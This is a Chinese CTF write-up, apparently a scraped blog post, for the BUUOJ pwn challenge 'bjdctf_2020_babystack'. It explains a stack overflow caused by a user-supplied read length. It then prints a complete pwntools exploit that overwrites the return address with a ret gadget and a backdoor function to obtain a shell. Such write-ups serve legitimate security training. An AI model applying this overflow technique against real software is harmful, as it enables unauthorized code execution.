当前位置:网站首页>bjdctf_2020_babystack
bjdctf_2020_babystack
2022-06-24 07:22:00 【[mzq]】
bjdctf_2020_babystack

checksec 一下 64比特程序 沒開啥東西 ,ida看一下程序
main函數
咋一看read函數讀入0個字符串,讀了個寂寞,scanf也不能溢出,好像沒有問題
但是scanf會讀入一個用戶輸入的數賦值給nbytes ,然後read會讀取nbytes大小的字符,也就是說我們可以任意溢出長度
backdoor函數
運行這個函數直接拿到shell
exp
ret 是為了平衡棧 其實往backdoor函數後遞+1也行
from pwn import *
io = process("./bjdctf_2020_babystack")
io = remote("node4.buuoj.cn",29159)
elf = ELF("./bjdctf_2020_babystack")
context(log_level="debug",arch="amd64")
backdoor = elf.symbols["backdoor"]
ret = 0x0000000000400561
print backdoor
io.sendlineafter(b"Please input the length of your name:","100")
payload = "a"*16 + "b"*8 + p64(ret) + p64(backdoor)
payload = flat(["a"*16,"b"*8,ret,backdoor])
io.sendlineafter("What's u name?",payload)
io.interactive()

边栏推荐
- 0 foundation a literature club low code development member management applet (III)
- Prefix and topic training
- 【pointNet】基于pointNet的三维点云目标分类识别matlab仿真
- In JS, the regular expression verifies the hour and minute, and converts the input string to the corresponding hour and minute
- 2022蓝队HW初级面试题总结
- 毕业季进击的技术
- On update current in MySQL_ TIMESTAMP
- 利用微搭低代码实现级联选择
- 0 foundation a literature club low code development member management applet (4)
- JVM debugging tool -jps
猜你喜欢

What is the mentality of spot gold worth learning from

JVM debugging tool -jmap
![[WUSTCTF2020]alison_likes_jojo](/img/a9/dcc6f524772cd0b8781289cbaef63f.png)
[WUSTCTF2020]alison_likes_jojo

电脑如何打开软键盘,教大家Win10如何打开软键盘的方法

Win11怎么设置让CPU性能全开?Win11CPU怎么设置高性能模式?

Huawei Cloud Database Advanced Learning

关于取模数据序号定位的说明 区码定位是指GBK编码

JVM debugging tool -arthas

Canal installation configuration

What are the dazzling skills of spot gold?
随机推荐
Software performance test analysis and tuning practice path - JMeter's performance pressure test analysis and tuning of RPC Services - manuscript excerpts
【TS】函数类型
[problem solving] the connection to the server localhost:8080 was referred
[WUSTCTF2020]爬
Serviceworker working mechanism and life cycle: resource caching and collaborative communication processing
OMX initialization process
0 foundation a literature club low code development member management applet (II)
伦敦金的资金管理比其他都重要
两个链表的第一个公共节点_链表中环的入口(剑指offer)
I failed to delete the database and run away
OMX的初始化流程
Intelligent Vision Group A4 paper recognition example
2、 What is the principle of layer 3 and 4 switching technology? Recommended collection!
. Net7 miniapi (special part):preview5 optimizes JWT verification (Part 1)
Kaseya of the United States was attacked by hackers, and 1500 downstream enterprises were damaged. How can small and medium-sized enterprises prevent extortion virus?
在js中正则表达式验证小时分钟,将输入的字符串转换为对应的小时和分钟
Clickhouse source code note 6: exploring the sorting of columnar storage systems
Decryption of the original divine square stone mechanism
Unexpected token u in JSON at position 0
Graduation season advance technology